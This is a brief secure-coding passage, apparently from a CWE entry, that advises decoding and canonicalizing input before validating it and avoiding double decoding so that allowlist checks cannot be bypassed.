Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
No CAPEC attack patterns related to this CWE.